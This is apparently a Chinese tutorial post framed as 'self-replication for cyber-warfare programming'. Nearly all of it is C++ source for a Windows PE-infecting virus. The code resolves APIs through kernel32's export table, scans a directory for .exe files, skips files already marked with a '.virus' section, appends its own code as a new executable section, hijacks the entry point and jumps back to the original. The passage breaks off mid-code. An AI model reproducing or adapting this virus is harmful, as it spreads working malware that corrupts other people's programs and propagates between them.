我们进行信息安全与网络战编程的时候,经常需要实现程序的自我复制,
我们如何实现程序的自我复制呢,
请见代码
#include <iostream.h>
#include <windows.h>
#include <stdio.h>
//
//*******************************************************************
//*******以下为程序代码*******
//*******此段代码首先动态获取API入口地址
//*******然后实现代码的自我复制
//*******************************************************************
//
void VirusCode()
{
//
// *******以下代码用于获取本函数在内存中的起始地址*******
// *******本函数功能相对独立*******
//
//
// *******变量说明*******
// **dwCodeBegin :本函数的开始地址
// **dwCodeEnd :本函数的结束地址
// **dwMyCodeAddr :自己写的代码的开始地址
//
DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr;
// *******指针变量*******
PBYTE pMove = NULL;
// *******动态获取自己写的代码的开始地址*******
_asm
{
call A
A:
pop eax
mov dwMyCodeAddr , eax
}
// *******把地址赋给变量*******
pMove = (PBYTE)dwMyCodeAddr;
// *******向前搜索得到函数的真正入口地址*******
while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))
{
pMove --;
}
// *******此时pMove指向函数的入口push ebp处*******
dwCodeBegin = (DWORD)pMove;
//cout << "开始地址为:" << hex << dwCodeBegin << endl;
// *******从自己写的代码处向后搜索*******
pMove = (PBYTE)dwMyCodeAddr;
while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F)
&& (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5)))
{
pMove ++;
}
pMove += 9;
// *******此时pMove指向ret的前一条指令pop ebp处*******
dwCodeEnd = (DWORD)pMove;
DWORD dwFunCodeLen;
dwFunCodeLen = dwCodeEnd - dwCodeBegin;
//
// *******上面为获取本函数的起始与结束地址*******
//
//
//
// *******下面动态获取API入口地址
//
//
// *******定义用到的字符串*******
char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
DWORD KernelBase;
// *******获取本程序结束后的返回地址,此地址必须在开始处获得*******
_asm
{
mov eax , [ebp+4]
mov KernelBase,eax
}
//
// *******以下通过变换得到Kernel32.dll的基址*******
//
KernelBase = KernelBase & 0Xffff0000;
// *******检查是否到了kernel32.dll的装载基址*******
IMAGE_DOS_HEADER *doshead;
while(KernelBase >= 0X70000000)
{
// *******首先检查dos文件头*******
doshead = (IMAGE_DOS_HEADER*)KernelBase;
if(doshead->e_magic == IMAGE_DOS_SIGNATURE)
{
// *******再检查NT文件头*******
IMAGE_NT_HEADERS* nthead;
nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
if(nthead->Signature == IMAGE_NT_SIGNATURE)
{
break;
}
}
KernelBase-=0x10000;
}
//
// *******以下通过搜索kernel32.dll得到GetProcAddress的地址*******
//
DWORD AddrOfGetProcAddr , AddrOfLoadLib;
IMAGE_DOS_HEADER* pFile1; //指向dos文件头
IMAGE_NT_HEADERS* pFile2; //指向nt文件头
// *******检查文件的合法性*******
pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
if(pFile1->e_magic != IMAGE_DOS_SIGNATURE)
{
return;
}
pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);
if(pFile2->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
IMAGE_EXPORT_DIRECTORY *pExport;
pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);
// *******以下在导出表中搜索名字为"GetProcAddress"的函数地址*******
char *FunName;
DWORD *AddrOfNameRVA;
WORD *AddrOfNameOrRVA;
AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);
for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)
{
FunName = (char*)(KernelBase + AddrOfNameRVA[i]);
// *******函数名与字符串"GetProcAddress"进行比较*******
BOOL eql = 1;
for (int j = 0 ; j < 15 ; j ++)
{
if (GetProcAddrName[j] != FunName[j])
{
eql = 0;
break;
}
}
// *******如果字符串相等了,说明找到了*******
if (eql)
{
AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals);
int num = 0;
num = pExport->Base + AddrOfNameOrRVA[i];
DWORD *AddrOfFun;
AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);
AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];
break;
}
}
//
//
// *******以下集中获取要用到的API入口地址*******
//
//
// *******定义GetProcAddress函数类型*******
typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR);
// *******定义LoadLibraryA函数地址*******
typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR);
// *******调用GetProcAddress获取LoadLibrary地址*******
// *******定义GetProcAddress函数变量*******
stGetProcAddress myGetProcAddress;
// *******给函数赋地址*******
myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr;
// *******调用GetProcAddress*******
AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName);
// *******定义LoadLibrary函数变量*******
stLoadLibrary myLoadLibrary;
// *******给函数赋地址*******
myLoadLibrary = (stLoadLibrary)AddrOfLoadLib;
char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'};
DWORD User32Base; //存放user32.dll的基址
// *******得到user32.dll的基址*******
User32Base = myLoadLibrary(User32Name);
//
// *****获取CreateFile函数地址*****
//
// *****首先定义函数类型*****
typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES ,
DWORD , DWORD , HANDLE);
// *****定义函数变量*****
stCreateFile myCreateFile;
// *****定义函数名称字符串*****
char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};
// *****获得函数地址*****
myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName);
//
// *****获取CreateFileMapping函数地址*****
//
// *****首先定义函数类型*****
typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES ,
DWORD , DWORD , DWORD , LPCTSTR );
// *****定义函数变量*****
stCreateFileMapping myCreateFileMapping;
// *****定义函数名称字符串*****
char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e',
'M','a','p','p','i','n','g','A','\0'};
// *****获得函数地址*****
myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase ,
CreateFileMappingName);
//
// *****获取MapViewOfFile函数地址*****
//
// *****首先定义函数类型*****
typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD);
// *****定义函数变量*****
stMapViewOfFile myMapViewOfFile;
// *****定义函数名称字符串*****
char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
// *****获得函数地址*****
myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,
MapViewOfFileName);
//
// *****获取GlobalAlloc函数地址*****
//
// *****首先定义函数类型*****
typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T);
// *****定义函数变量*****
stGlobalAlloc myGlobalAlloc;
// *****定义函数名称字符串*****
char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'};
// *****获得函数地址*****
myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase ,
GlobalAllocName);
//
// *****获取RtlMoveMemory函数地址*****
//
// *****首先定义函数类型*****
typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T );
// *****定义函数变量*****
stRtlMoveMemory myRtlMoveMemory;
// *****定义函数名称字符串*****
char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'};
// *****获得函数地址*****
myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase ,
RtlMoveMemoryName);
//
// *****获取SetFilePointer函数地址*****
//
// *****首先定义函数类型*****
typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD);
// *****定义函数变量*****
stSetFilePointer mySetFilePointer;
// *****定义函数名称字符串*****
char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'};
// *****获得函数地址*****
mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase ,
SetFilePointerName);
//
// *****获取WriteFile函数地址*****
//
// *****首先定义函数类型*****
typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED);
// *****定义函数变量*****
stWriteFile myWriteFile;
// *****定义函数名称字符串*****
char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'};
// *****获得函数地址*****
myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase ,
WriteFileName);
//
// *****获取SetEndOfFile函数地址*****
//
// *****首先定义函数类型*****
typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE);
// *****定义函数变量*****
stSetEndOfFile mySetEndOfFile;
// *****定义函数名称字符串*****
char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'};
// *****获得函数地址*****
mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase ,
SetEndOfFileName);
//
// *****获取CloseHandle函数地址*****
//
// *****首先定义函数类型*****
typedef BOOL (WINAPI *stCloseHandle)(HANDLE);
// *****定义函数变量*****
stCloseHandle myCloseHandle;
// *****定义函数名称字符串*****
char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
// *****获得函数地址*****
myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase ,
CloseHandleName);
//
// *****获取UnmapViewOfFile函数地址*****
//
// *****首先定义函数类型*****
typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID);
// *****定义函数变量*****
stUnmapViewOfFile myUnmapViewOfFile;
// *****定义函数名称字符串*****
char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
// *****获得函数地址*****
myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,
UnmapViewOfFileName);
//
// *****获取FindFirstFile函数地址*****
//
// *****首先定义函数类型*****
typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA);
// *****定义函数变量*****
stFindFirstFile myFindFirstFile;
// *****定义函数名称字符串*****
char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'};
// *****获得函数地址*****
myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase ,
FindFirstFileName);
//
// *****获取CopyFile函数地址*****
//
// *****首先定义函数类型*****
typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL);
// *****定义函数变量*****
stCopyFile myCopyFile;
// *****定义函数名称字符串*****
char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'};
// *****获得函数地址*****
myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase ,
CopyFileName);
//
// *****获取FindNextFile函数地址*****
//
// *****首先定义函数类型*****
typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA);
// *****定义函数变量*****
stFindNextFile myFindNextFile;
// *****定义函数名称字符串*****
char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'};
// *****获得函数地址*****
myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase ,
FindNextFileName);
//
// *****获取FindClose函数地址*****
//
// *****首先定义函数类型*****
typedef BOOL (WINAPI *stFindClose)(HANDLE);
// *****定义函数变量*****
stFindClose myFindClose;
// *****定义函数名称字符串*****
char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'};
// *****获得函数地址*****
myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase ,
FindCloseName);
//
// *****获取lstrcat函数地址*****
//
// *****首先定义函数类型*****
typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR , LPTSTR);
// *****定义函数变量*****
stlstrcat mylstrcat;
// *****定义函数名称字符串*****
char lstrcatName[] = {'l','s','t','r','c','a','t','\0'};
// *****获得函数地址*****
mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase ,
lstrcatName);
//
// *****获取lstrcpy函数地址*****
//
// *****首先定义函数类型*****
typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR);
// *****定义函数变量*****
stlstrcpy mylstrcpy;
// *****定义函数名称字符串*****
char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'};
// *****获得函数地址*****
mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase ,
lstrcpyName);
//
// *****获取lstrlen函数地址*****
//
// *****首先定义函数类型*****
typedef int (WINAPI *stlstrlen)(LPCTSTR);
// *****定义函数变量*****
stlstrlen mylstrlen;
// *****定义函数名称字符串*****
char lstrlenName[] = {'l','s','t','r','l','e','n','\0'};
// *****获得函数地址*****
mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase ,
lstrlenName);
//
// *****获取RtlZeroMemory函数地址*****
//
// *****首先定义函数类型*****
typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T);
// *****定义函数变量*****
stRtlZeroMemory myRtlZeroMemory;
// *****定义函数名称字符串*****
char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'};
// *****获得函数地址*****
myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase ,
RtlZeroMemoryName);
//
//
// *******以上集中获取用到的API*******
//
//
//
//
// *******下面为搜索并自我复制的代码*******
//
//
// *******搜索的带过滤条件的源目录*******
char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'};
// *******不带条件的源目录*******
char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'};
// *******要复制的目录*******
char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'};
WIN32_FIND_DATA findBuf;
// *******进行第一次搜索*******
HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf);
// *******申请缓冲区,用于存放源文件的完整目录+文件名*******
char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
// *******申请缓冲区,用于存放目的文件的完整目录+文件名*******
char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
// *******对每一个文件进行复制感染操作*******
do
{
// *******缓冲区清空*******
myRtlZeroMemory(SourDirNameBuf , MAX_PATH);
myRtlZeroMemory(DestDirNameBuf , MAX_PATH);
// *******把源目录放在缓冲区中*******
mylstrcpy(SourDirNameBuf , SourceDir);
// *******把搜索到的文件名添加在源目录后面*******
mylstrcat(SourDirNameBuf , findBuf.cFileName);
// *******把目的目录放在缓冲区中*******
mylstrcpy(DestDirNameBuf , DestDir);
// *******把搜索到的文件名添加在源目录后面*******
mylstrcat(DestDirNameBuf , findBuf.cFileName);
//
// *******以下对每一个文件感染*******
//
HANDLE hFile , hMapFile;
LPVOID pMapOfFile = NULL;
char SecName[] = {'.','v','i','r','u','s','\0'}; //新添加的节名
//
//*******检测文件合法性*******
//
// *******打开文件*******
hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ |
FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
goto TheNextFile;
}
// *******创建文件映射*******
hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
if (!hMapFile)
{
goto CLOSEFILEHANDLE;
}
// *******把文件映射到内存中*******
pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
if (!pMapOfFile)
{
goto CLOSEMAPHANDLE;
}
IMAGE_DOS_HEADER *pDosHeader;
// ********检测DOS文件头*******
pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
goto FreeViewOfMap;
}
IMAGE_NT_HEADERS *pNtHeader;
// *******检测NT文件头*******
pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
goto FreeViewOfMap;
}
//
// *******检测感染标记*******
//
// *******得到该文件的节表数*******
int SecNum;
SecNum = pNtHeader->FileHeader.NumberOfSections;
// *******定位到节表开始处*******
IMAGE_SECTION_HEADER *pSecHeader;
pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248);
int i ;
// *******循环扫描各个节表,如果有节的名字为virus则说明已经被感染过*******
for (i = 0 ; i < SecNum ; i ++)
{
char *SecNameAddr = (char*)pSecHeader->Name;
if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') &&
(SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') &&
(SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's'))
{
// *******直接退出*******
goto FreeViewOfMap;
}
// *******查看下一个节表*******
pSecHeader ++;
}
//
//*******准备工作*******
//
BOOL bCopy;
// *******首先把要添加程序代码的文件复制一份*******
bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE);
if (!bCopy)
{
goto FreeViewOfMap;
}
HANDLE hNewFile;
// *******打开刚刚复制的文件*******
hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ
| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (!hNewFile)
{
goto FreeViewOfMap;
}
HGLOBAL pNewFileHeader;
// *******为新文件的文件头申请一块内存,用于修改文件头信息*******
pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
if (!pNewFileHeader)
{
goto CloseNewFileHandle;
}
// *******用原文件头填充这块内存*******
myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
// *******定义一个变量指向新内存的NT文件头处*******
IMAGE_NT_HEADERS *pNewFileNtHeader;
pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
//
//*******此时的指针信息*******
//*******pMapOfFile : 原映射文件的开始
//*******pDosHeader : 原映射文件的DOS头,也就是文件开始,只不过类型不一样
//*******pNTHeader : 原映射文件的NT头
//*******pNewFileHeader : 新文件的开始
//*******pNewFileNtHeader : 新文件的NT头
//
//****************************************************************
//*******修改新文件的节表信息*******
//****************************************************************
int nSecNum;
nSecNum = pNtHeader->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
// *******定位到原文件中的最后一个节表*******
pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
// *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
pNewSec = pLastSec + 1;
//*******修改新增节表的相关信息*******
//*****节表总数加1*****
pNewFileNtHeader->FileHeader.NumberOfSections ++;
//*****修改新节的文件偏移*****
pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
//*****修改新节的文件尺寸*****
int nAlignNum;
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
{
nAlignNum++;
}
pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
//*****修改所有代码长度按内存页对齐后的大小*****
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//*****修改文件内存映像尺寸*****
pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//*****修改新节的内存偏移量*****
//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
nAlignNum = pLastSec->Misc.VirtualSize /
pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment
+ pLastSec->VirtualAddress;
//*****修改新节的内存尺寸*****
pNewSec->Misc.VirtualSize = dwFunCodeLen;
//*****更新新节属性*****
pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
//*****更新节名*****
mylstrcpy((char*)pNewSec->Name , SecName);
//*****更新入口地址*****
pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
BOOL bWrite;
DWORD dwHeaderSize , dwWriten;
dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize ,
&dwWriten , NULL);
//
//*****向文件中添加程序代码*****
//
DWORD dwSetFileP;
//*****定位到新文件中新节开始处*****
dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
goto CloseNewFileHandle;
}
//*****写入程序代码*****
bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL);
if (!bWrite)
{
goto CloseNewFileHandle;
}
//*****定位到文件尾部*****
dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData +
pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
goto CloseNewFileHandle;
}
//*****设定文件结束*****
if (!mySetEndOfFile(hNewFile))
{
goto CloseNewFileHandle;
}
//
//*******修正原入口地址*******
//
PBYTE pModifyAddr;
pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
pModifyAddr += dwFunCodeLen;
int nSub; //跳转的距离
nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
DWORD dwModifyLoca;
dwModifyLoca = pNewSec->PointerToRawData;
dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
// *****定位到程序代码最后的五个字节处*****
dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
goto CloseNewFileHandle;
}
//*****修正jmp指令*****
BYTE bJmp;
bJmp = 0XE9;
bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
if (!bWrite)
{
goto CloseNewFileHandle;
}
//*****修正跳转地址*****
bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
if (!bWrite)
{
goto CloseNewFileHandle;
}
//
//*******扫尾工作*******
//
CloseNewFileHandle:
myCloseHandle(hNewFile);
FreeViewOfMap:
myUnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
myCloseHandle(hMapFile);
CLOSEFILEHANDLE:
myCloseHandle(hFile);
TheNextFile:
;
} while (myFindNextFile(hFileFind , &findBuf));
myFindClose(hFileFind);
return;
}
//
//*******************************************************************
//*******主函数*******
//*******************************************************************
//
void main()
{
//*******************************************************************
//*******首先得到程序代码起始地址,结束地址,代码长度*******
//*******************************************************************
/
// *******变量说明*******
// **dwFunBegAddr :程序函数的开始地址
// **dwFunEndAddr :程序函数的结束地址
// **dwFunCodeLen :程序代码长度
// **dwJmpOff :程序函数jmp区到真正入口的偏移
// **pMove :临时的指针变量
/
DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
PBYTE pMove = NULL;
// *******首先指向程序函数的jmp指令*******
pMove = (PBYTE)VirusCode;
cout << "函数的jmp地址为:" << (PVOID)pMove << endl;
// *******定位到jmp后面的偏移处*******
pMove ++;
// *******把偏移赋值给变量*******
dwJmpOff = *((PDWORD)pMove);
// *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******
dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;
cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;
cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;
// *******以下通过搜索得到函数的结束地址*******
// *******首先把函数的入口地址赋给变量*******
pMove = (PBYTE)dwFunBegAddr;
// *******向后搜索,直到结尾*******
while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
{
pMove ++;
}
// *******此时pMove指向ret前一条指令*******
// *******pMove向后移5个字节,为程序代码的jmp指令占位*******
pMove +=5;
dwFunEndAddr = (DWORD)pMove;
cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;
// *******结束地址减去起始地址,得到代码长度*******
dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;
cout << "总代码长度为:" << (int)dwFunCodeLen << endl;
//*******************************************************************
//*******以下为在exe文件中添加程序代码*******
//*******************************************************************
HANDLE hFile , hMapFile;
LPVOID pMapOfFile = NULL;
//*******************************************************************
//*******检测文件合法性*******
//*******************************************************************
// *******打开文件*******
hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ |
FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
cout << "CreateFile Error!" << endl;
return;
}
// *******创建文件映射*******
hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
if (!hMapFile)
{
cout << "CreateFileMapping Error!" << endl;
goto CLOSEFILEHANDLE;
}
// *******把文件映射到内存中*******
pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
if (!pMapOfFile)
{
cout << "MapViewOfFile Error!" << endl;
goto CLOSEMAPHANDLE;
}
IMAGE_DOS_HEADER *pDosHeader;
// ********检测DOS文件头*******
pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
cout << "Check Dos Header Error!" << endl;
goto FreeViewOfMap;
}
IMAGE_NT_HEADERS *pNtHeader;
// *******检测NT文件头*******
pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
cout << "Check NT Header Error!" << endl;
goto FreeViewOfMap;
}
//***************************************************************
//*******准备工作*******
//***************************************************************
BOOL bCopy;
// *******首先把要添加程序代码的文件复制一份*******
bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
if (!bCopy)
{
cout << "CopyFile Error!" << endl;
}
HANDLE hNewFile;
// *******打开刚刚复制的文件*******
hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ
| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (!hNewFile)
{
cout << "CreateFile Error!" << endl;
goto FreeViewOfMap;
}
HGLOBAL pNewFileHeader;
// *******为新文件的文件头申请一块内存,用于修改文件头信息*******
pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
if (!pNewFileHeader)
{
cout << "GlobalAlloc Error!" << endl;
goto CloseNewFileHandle;
}
// *******用原文件头填充这块内存*******
RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
IMAGE_NT_HEADERS *pNewFileNtHeader;
pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
//
//*******此时的指针信息*******
//*******pMapOfFile : 原映射文件的开始
//*******pDosHeader : 原映射文件的DOS头也就是文件开始,只不过类型不一样
//*******pNTHeader : 原映射文件的NT头
//*******pNewFileHeader : 新文件的开始
//*******pNewFileNtHeader : 新文件的NT头
//
//****************************************************************
//*******修改新文件的节表信息*******
//****************************************************************
int nSecNum;
nSecNum = pNtHeader->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
// *******定位到原文件中的最后一个节表*******
pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
// *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
pNewSec = pLastSec + 1;
//*******修改新增节表的相关信息*******
//*****节表总数加1*****
pNewFileNtHeader->FileHeader.NumberOfSections ++;
//*****修改新节的文件偏移*****
pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
//*****修改新节的文件尺寸*****
int nAlignNum;
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
{
nAlignNum++;
}
pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
//*****修改所有代码长度按内存页对齐后的大小*****
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
